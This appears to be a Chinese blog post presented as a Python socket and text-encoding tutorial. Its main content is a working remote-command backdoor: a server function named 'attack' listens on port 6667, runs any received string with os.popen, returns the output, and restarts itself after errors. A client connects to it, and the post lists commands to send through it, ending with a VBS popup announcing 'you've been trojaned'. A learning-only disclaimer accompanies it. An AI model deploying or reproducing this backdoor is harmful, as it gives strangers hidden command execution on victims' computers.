Python Socket网络通信基础与命令执行机制解析

Leo
Leo
发布时间:2026-10-15| 4人浏览过
原创

本文介绍基于Python Socket的TCP/IP网络通信基础,涵盖UTF-8与UTF-16编码的空间效率对比及适用场景。通过服务端与客户端代码示例,演示如何建立连接并执行远程系统命令,包括文件查看、目录管理及弹窗调用等具体操作,旨在提供技术层面的原理说明。

郑重声明:本文内容仅用于技术交流与学习,严禁任何非法用途。

基础概念

  • Socket通信模块是对TCP/IP协议簇的程序化封装,该模块在Windows和Linux操作系统中均被底层支持。
  • Unicode字符集存在多种存储格式,主要包括UTF-8、UTF-16和UTF-32,它们通过不同的二进制编码方式来表示字符。
  • 当文本以英文为主或英文与其他语言混合时,采用UTF-8编码能显著节省存储空间;反之,若文本以中文为主或中文占比极高,UTF-16编码则更具优势,能有效减少空间占用。

编码策略选择:

  • 英文内容较多时,推荐使用UTF-8编码,这是一种应用最广泛的变长字符编码方案。
  • 中文内容较多时,推荐使用UTF-16编码。
  • 在Windows系统中,中文环境通常采用GBK编码格式。

使用命令 netstat -ant 可以仅显示传输层的TCP和UDP连接状态,该命令常用于检查Socket服务是否正常运行。

服务端(Server)程序实现

import socket, os
def attack():
    try:
        s = socket.socket()
        s.bind(('0.0.0.0', 6667)) #   使用缺省地址,所有设备均可访问该服务器的6667端口
        s.listen()     #    对6667端口进行监听
        chanel, client = s.accept() #   进入阻塞状态,accept() 返回元组,接受来自客户端的数据,chanel:新的socket对象用于标识出服务器和哪个客户端连接进行通信,  client: 客户端的IP和端口
        while True:
            receive = chanel.recv(1024).decode()
            reply = os.popen(receive).read()
            chanel.send(f"命令{receive}的运行结果:\n{reply}".encode())
    except:
        s.close()
        attack()
if __name__ == '__main__':
    attack()

客户端(Client)程序实现

import socket
s = socket.socket()
s.connect(('192.168.137.1', 6667))	#192.168.137.1是socket服务器的地址
while True:
    sendstr = input("请输入消息:")
    s.send(sendstr.encode())
    receive = s.recv(1024).decode()
    print(f"服务器回复:{receive}")
    # s.close()

其他系统命令执行方法

注意:执行相关操作前需导入 os 模块—— import os

os.system('ipconfig')

os.popen('ipconfig').read()

eval() # 该函数可将字符串作为Python代码进行执行

该程序的基本功能演示

1、读取文件内容

Windows系统

type 文件绝对路径

Linux系统

cat 文件路径

2、查看文件目录

Windows系统

dir # 查看当前文件路径目录 dir 文件路径 # 查看指定文件路径目录

Linux系统

ls # 查看当前文件路径目录 ll # 查看当前文件路径目录详细信息 ls 文件路径 # 查看指定文件路径目录 ll 文件路径 # 查看指定文件路径目录详细信息

3、创建文件或目录

Windows系统

echo test >> demo.txt # 创建一个名为demo.txt的文件,文件内容包含 test

Linux系统

mkdir 路径 # 创建目录 echo test >> demo.txt # 创建一个名为demo.txt的文件,文件内容包含 test

4、调用Windows应用程序

调用计算器程序

calc.exe

调用其他应用程序

直接输入应用程序的绝对路径

5、调用Windows弹窗

echo msgbox("你中木马了!!") > E:\hi.vbs E:\hi.vbs

关于Python Socket实现远程交互的详细说明至此结束,更多相关技术内容请参阅本站往期文章或继续浏览后续章节,感谢支持。

免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。

Python 相关产品和应用

全部下载
Selenium

Selenium

4.51.0 · Windows

用于浏览器自动化和 Web 测试的 Python 工具。

scikit-learn

scikit-learn

1.9.1 · Windows

常用 Python 机器学习算法与模型评估工具库。

Black

Black

26.10.1 · Windows

强调一致性的 Python 自动代码格式化工具。

Ruff

Ruff

0.17.1 · macOS

由 Rust 编写的高速 Python 代码检查和格式化工具。

pytest

pytest

9.1.1 · Windows

简洁而强大的 Python 自动化测试框架。

FastAPI

FastAPI

0.146.0 · Windows

高性能 Python API 框架,支持类型提示和自动接口文档。

Flask

Flask

3.1.3 · Windows

轻量灵活的 Python Web 应用框架。

Django

Django

6.1.2 · Windows

成熟的 Python Web 框架,适合构建内容站点和业务系统。

Spyder

Spyder

6.1.7 · Windows

面向科学计算与数据分析的 Python 集成开发环境。

SciPy

SciPy

1.18.1 · Windows

面向科学、工程和技术计算的 Python 算法库。